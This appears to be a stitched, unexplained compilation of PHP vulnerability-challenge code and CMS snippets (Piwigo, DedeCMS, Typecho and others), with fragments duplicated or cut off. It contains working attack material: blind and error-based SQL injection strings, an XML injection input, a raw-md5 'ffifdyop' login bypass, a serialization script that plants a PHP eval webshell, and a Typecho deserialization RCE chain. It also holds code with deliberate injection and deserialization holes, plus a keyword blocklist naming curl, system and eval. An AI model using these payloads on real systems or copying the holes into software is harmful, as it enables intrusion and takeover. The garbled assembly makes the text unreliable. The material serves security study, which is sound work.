class Challenge {
  const UPLOAD_DIRECTORY = './solutions/';
  private $file;
  private $whitelist;

  public function __construct($file) {
    $this->file = $file;
    $this->whitelist = range(1, 24);
  }

  public function __destruct() {
    if (in_array($this->file['name'], $this->whitelist)) {
      move_uploaded_file(
        $this->file['tmp_name'],
        self::UPLOAD_DIRECTORY . $this->file['name']
      );
    }
  }
}

$challenge = new Challenge($_FILES['solution']);

case 'rate' :
    {
      include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
      rate_picture($page['image_id'], $_POST['rate']);
      redirect($url_self);
    }

or !in_array($rate, $conf['rate_items']))

$query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'\''.$anonymous_id.'\','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

  return update_rating_score($image_id);
}
$query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'\''.$anonymous_id.'\','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

  return update_rating_score($image_id);
}

1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#

function stop_hack($value){
    $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
    $back_list = explode("|",$pattern);
    foreach($back_list as $hack){
        if(preg_match("/$hack/i", $value))
            die("$hack detected!");
    }
    return $value;
}

and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
  private $twig;

  public function __construct() {
    $indexTemplate = '<img ' .
      'src="https://loremflickr.com/320/240">' .
      '<a href="{{link|escape}}">Next slide &raquo;</a>';

    // Default twig setup, simulate loading
    // index.html file from disk
    $loader = new Twig\Loader\ArrayLoader([
      'index.html' => $indexTemplate
    ]);
    $this->twig = new Twig\Environment($loader);
  }

  public function getNexSlideUrl() {
    $nextSlide = $_GET['nextSlide'];
    return filter_var($nextSlide, FILTER_VALIDATE_URL);
  }

  public function render() {
    echo $this->twig->render(
      'index.html',
      ['link' => $this->getNexSlideUrl()]
    );
  }
}

(new Template())->render();

使用特定的过滤器过滤一个变量
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

function current_url() {
    return Uri::current();
}

public static function current() {
        if(is_null(static::$current)) static::$current = static::detect();
        return static::$current;
    }

public static function detect() {
        // create a server object from global
        $server = new Server($_SERVER);

        $try = array('REQUEST_URI', 'PATH_INFO', 'ORIG_PATH_INFO');

        foreach($try as $method) {

            // make sure the server var exists and is not empty
            if($server->has($method) and $uri = $server->get($method)) {

                // apply a string filter and make sure we still have somthing left
                if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {

                    // make sure the uri is not malformed and return the pathname
                    if($uri = parse_url($uri, PHP_URL_PATH)) {
                        return static::format($uri, $server);
                    }

                    // woah jackie, we found a bad'n
                    throw new ErrorException('Malformed URI');
                }
            }
        }

        throw new OverflowException('Uri was not detected. Make sure the REQUEST_URI is set.');
    }

if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {

                    // make sure the uri is not malformed and return the pathname
                    if($uri = parse_url($uri, PHP_URL_PATH)) {
                        return static::format($uri, $server);
                    }

                    // woah jackie, we found a bad'n
                    throw new ErrorException('Malformed URI');

public static function format($uri, $server) {
        // Remove all characters except letters,
        // digits and $-_.+!*'(),{}|\\^~[]`<>#%";/?:@&=.
        $uri = filter_var(rawurldecode($uri), FILTER_SANITIZE_URL);

        // remove script path/name
        $uri = static::remove_script_name($uri, $server);

        // remove the relative uri
        $uri = static::remove_relative_uri($uri);

        // return argument if not empty or return a single slash
        return trim($uri, '/') ?: '/';
    }

<?php  
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

<?php 
$url = $_GET['url']; // 获取url

if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){  //过滤url
    $site_info = parse_url($url);

    if(preg_match('/sec-redclub.com$/',$site_info['host'])){ //以sec-redclub.com结尾
        exec('curl "'.$site_info['host'].'"', $result);
        echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
              <center><textarea rows='20' cols='90'>";
        echo implode(' ', $result);
    } //命令执行

    else{
        die("<center><h1>Error: Host not allowed</h1></center>");
    }

}
else{
    echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
          <center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}
?>

function __autoload($className) { //自动加载
  include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];  //获取get的c与d作为类名与参数

if (class_exists($controllerName)) {
  $controller = new $controllerName($data['t'], $data['v']);
  $controller->render();
} else {
  echo 'There is no page with this name';
}

class HomeController {
  private $template;
  private $variables;

  public function __construct($template, $variables) {
    $this->template = $template;
    $this->variables = $variables;
  }

  public function render() {
    if ($this->variables['new']) {
      echo 'controller rendering new response';
    } else {
      echo 'controller rendering old response';
    }
  }
}

<?php

class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(
    function ($class){
        new NotFound();
    }
);

$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
    $newclass = new $classname($param,$param2);
    var_dump($newclass);
    foreach ($newclass as $key=>$value)
        echo $key.'=>'.$value.'<br>';
}

public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )

class Login {
  public function __construct($user, $pass) {
    $this->loginViaXml($user, $pass);
  }

  public function loginViaXml($user, $pass) {
    if (
      (!strpos($user, '<') || !strpos($user, '>')) &&
      (!strpos($pass, '<') || !strpos($pass, '>'))
    ) {
      $format = '<?xml version="1.0"?>' .
        '<user v="%s"/><pass v="%s"/>';
      $xml = sprintf($format, $user, $pass);
      $xmlElement = new SimpleXMLElement($xml);
      // Perform the actual login.
      $this->login($xmlElement);
    }
  }
}

new Login($_POST['username'], $_POST['password']);

user=<"><injected-tag property="&pass=<injected-tag>

else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
    else
    {
        ShowMsg("对不起，您的安全问题或答案回答错误","-1");
        exit();
    }

}

if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)

$row['safequestion'] == 0 
$row['safeanswer'] == null

if ('0' == ''& null == ''){
    sn()
}

 if(false && true)

sendmail($mailto,$mailtitle,$mailbody,$headers);

/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval

if(empty($setp))
    {
        $tptim= (60*60*24*3);
        $dtime = time();
        if($dtime - $tptim > $row['mailtime'])
        {
            $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
            ShowMsg("对不起，临时密码修改期限已过期","login.php");
            exit();
        }
        require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
    }

<input type="hidden" name="dopost" value="getpasswd">
<input type="hidden" name="setp" value="2">
<input type="hidden" name="id" value="<?php echo $id;?>" />

elseif($setp == 2) 
    {
        if(isset($key)) $pwdtmp = $key;

        $sn = md5(trim($pwdtmp));
        if($row['pwd'] == $sn)
        {
            if($pwd != "")
            {
                if($pwd == $pwdok)
                {
                    $pwdok = md5($pwdok);
                    $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                    $db->executenonequery($sql);
                    $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                    if($db->executenonequery($sql))
                    {
                        showmsg('更改密码成功，请牢记新密码', 'login.php');
                        exit;
                    }
                }
            }
            showmsg('对不起，新密码为空或填写不一致', '-1');
            exit;
        }
        showmsg('对不起，临时密码错误', '-1');
        exit;
    }

<script type="text/javascript" src="js/buy.js"></script>

function buy(){
    $('#wait').show();
    $('#result').hide();
    var input = $('#numbers')[0];
    if(input.validity.valid){
        var numbers = input.value;
        $.ajax({
          method: "POST",
          url: "api.php",
          dataType: "json",
          contentType: "application/json", 
          data: JSON.stringify({ action: "buy", numbers: numbers })
        }).done(function(resp){
            if(resp.status == 'ok'){
                show_result(resp);
            } else {
                alert(resp.msg);
            }
        })
    } else {
        alert('invalid');
    }
    $('#wait').hide();
}

for($i=0; $i<7; $i++){
        if($numbers[$i] == $win_numbers[$i]){
            $same_count++;
        }
    }

class Mailer {
  private function sanitize($email) {
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
      return '';
    }

    return escapeshellarg($email);
  }

  public function send($data) {
    if (!isset($data['to'])) {
      $data['to'] = '[email protected]';
    } else {
      $data['to'] = $this->sanitize($data['to']);
    }

    if (!isset($data['from'])) {
      $data['from'] = '[email protected]';
    } else {
      $data['from'] = $this->sanitize($data['from']);
    }

    if (!isset($data['subject'])) {
      $data['subject'] = 'No Subject';
    }

    if (!isset($data['message'])) {
      $data['message'] = '';
    }

    mail($data['to'], $data['subject'], $data['message'],
      '', "-f" . $data['from']);
  }
}

$mailer = new Mailer();
$mailer->send($_POST);

bool mail (
    string $to , 接收人
    string $subject , 邮件标题
    string $message [, 征文
    string $additional_headers [, 额外头部
    string $additional_parameters ]] 额外参数
)

class TokenStorage {
  public function performAction($action, $data) {
    switch ($action) {
      case 'create':
        $this->createToken($data);
        break;
      case 'delete':
        $this->clearToken($data);
        break;
      default:
        throw new Exception('Unknown action');
    }
  }

  public function createToken($seed) {
    $token = md5($seed);
    file_put_contents('/tmp/tokens/' . $token, '...data');
  }

  public function clearToken($token) {
    $file = preg_replace("/[^a-z.-_]/", "", $token);
    unlink('/tmp/tokens/' . $file);
  }
}

$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);

if (!empty($navs)) {
        foreach ($navs as $row) {
            file_delete($row['icon']);
        }

$navs = pdo_fetchall("SELECT icon, id FROM ".tablename('site_nav')." WHERE id IN (SELECT nid FROM ".tablename('site_category')." WHERE id = {$id} OR parentid = '$id')", array(), 'id');

header("Content-Type: text/plain");

function complexStrtolower($regex, $value) {
  return preg_replace(
    '/(' . $regex . ')/ei',
    'strtolower("\\1")',
    $value
  );
}

foreach ($_GET as $regex => $value) {
  echo complexStrtolower($regex, $value) . "\n";
}

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

class LanguageManager {
  public function loadLanguage() {
    $lang = $this->getBrowserLanguage();
    $sanitizedLang = $this->sanitizeLanguage($lang);
    require_once("/lang/$sanitizedLang");
  }

  private function getBrowserLanguage() {
    $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
    return $lang;
  }

  private function sanitizeLanguage($language) {
    return str_replace('../', '', $language);
  }
}

(new LanguageManager())->loadLanguage();

extract($_POST);

function goAway() {
  error_log("Hacking attempt.");
  header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {
  goAway();
}

if (!assert("(int)$pi == 3")) {
  echo "This is not pi.";
} else {
  echo "This might be pi.";
}

class Template {
  public $cacheFile = '/tmp/cachefile';
  public $template = '<div>Welcome back %s</div>';

  public function __construct($data = null) {
    $data = $this->loadData($data);
    $this->render($data);
  }

  public function loadData($data) {
    if (substr($data, 0, 2) !== 'O:'
      && !preg_match('/O:\d:\/', $data)) {
      return unserialize($data);
    }
    return [];
  }

  public function createCache($file = null, $tpl = null) {
    $file = $file ?? $this->cacheFile;
    $tpl = $tpl ?? $this->template;
    file_put_contents($file, $tpl);
  }

  public function render($data) {
    echo sprintf(
      $this->template,
      htmlspecialchars($data['name'])
    );
  }

  public function __destruct() {
    $this->createCache();
  }
}

new Template($_COOKIE['data']);

if (substr($data, 0, 2) !== 'O:'
      && !preg_match('/O:\d:\/', $data))

<?php

class Template{

    public $cacheFile = './test.php';
    public $template = '<?php eval($_POST[xx])>';
}


$temp= new Template();
$test = Array($temp);
print(serialize($test));

?>

if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;}

public function __get($key)
    {
        return $this->get($key);
    }

<?php

class Typecho_Request{

    private $_params = array();
    private $_fifter = array();

    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';
        $this->_fifter[0] = 'assert';
    }
}

class Typecho_Feed{

    private $_type;
    private $_item = array();
    public function s__construct(){

        $this->_type = 'RSS 2.0';
        $item['author'] = new Typecho_Request();
        $item['category']=Array(new Typecho_Request());
        $this->_item[0]=$item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'adapter' => $x,
    'prefix' => 'Typecho_'

);

echo base64_encode(serialize($a));

?>

$sanitized = [];

foreach ($_GET as $key => $value) {
  $sanitized[$key] = intval($value);
}

$queryParts = array_map(function ($key, $value) {
  return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));

$query = implode('&', $queryParts);

echo "<a href='/images/size.php?" .
  htmlentities($query) . "'>link</a>";

$ss_P="select * from ".TABLE_USER."  where  email='$user' and ps='$pscrypt'  order by id desc limit 1";

class LoginManager {
  private $em;
  private $user;
  private $password;

  public function __construct($user, $password) {
    $this->em = DoctrineManager::getEntityManager();
    $this->user = $user;
    $this->password = $password;
  }

  public function isValid() {
    $user = $this->sanitizeInput($this->user);
    $pass = $this->sanitizeInput($this->password);

    $queryBuilder = $this->em->createQueryBuilder()
      ->select("COUNT(p)")
      ->from("User", "u")
      ->where("user = '$user' AND password = '$pass'");
    $query = $queryBuilder->getQuery();
    return boolval($query->getSingleScalarResult());
  }

  public function sanitizeInput($input, $length = 20) {
    $input = addslashes($input);
    if (strlen($input) > $length) {
      $input = substr($input, 0, $length);
    }
    return $input;
  }
}

$auth = new LoginManager($_POST['user'], $_POST['passwd']);
if (!$auth->isValid()) {
  exit;

class Carrot {
  const EXTERNAL_DIRECTORY = '/tmp/';
  private $id;
  private $lost = 0;
  private $bought = 0;

  public function __construct($input) {
    $this->id = rand(1, 1000);

    foreach ($input as $field => $count) {
      $this->$field = $count++;
    }
  }

  public function __destruct() {
    file_put_contents(
      self::EXTERNAL_DIRECTORY . $this->id,
      var_export(get_object_vars($this), true)
    );
  }
}

$carrot = new Carrot($_GET);

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

class FTP {
  public $sock;

  public function __construct($host, $port, $user, $pass) {
    $this->sock = fsockopen($host, $port);

    $this->login($user, $pass);
    $this->cleanInput();
    $this->mode($_REQUEST['mode']);
    $this->send($_FILES['file']);
  }

  private function cleanInput() {
    $_GET = array_map('intval', $_GET);
    $_POST = array_map('intval', $_POST);
    $_COOKIE = array_map('intval', $_COOKIE);
  }

  public function login($username, $password) {
    fwrite($this->sock, "USER " . $username . "\n");
    fwrite($this->sock, "PASS " . $password . "\n");
  }

  public function mode($mode) {
    if ($mode == 1 || $mode == 2 || $mode == 3) {
      fputs($this->sock, "MODE $mode\n");
    }
  }

  public function send($data) {
    fputs($this->sock, $data);
  }
}

new FTP('localhost', 21, 'user', 'password');

class RealSecureLoginManager {
  private $em;
  private $user;
  private $password;

  public function __construct($user, $password) {
    $this->em = DoctrineManager::getEntityManager();
    $this->user = $user;
    $this->password = $password;
  }

  public function isValid() {
    $pass = md5($this->password, true);
    $user = $this->sanitizeInput($this->user);

    $queryBuilder = $this->em->createQueryBuilder()
      ->select("COUNT(p)")
      ->from("User", "u")
      ->where("password = '$pass' AND user = '$user'");
    $query = $queryBuilder->getQuery();
    return boolval($query->getSingleScalarResult());
  }

  public function sanitizeInput($input) {
    return addslashes($input);
  }

  $c = new RealSecureLoginManager(
  $_POST['user'],
  $_POST['passwd']
);
if (!$auth->isValid()) {
  exit;
}

string md5 ( string $str [, bool $raw_output = false ] )

select count(p) from user s where password='v�a�n���l���q��\' and user=' OR 1=1#'

password=ffifdyop或者129581926211651571912466741651878684928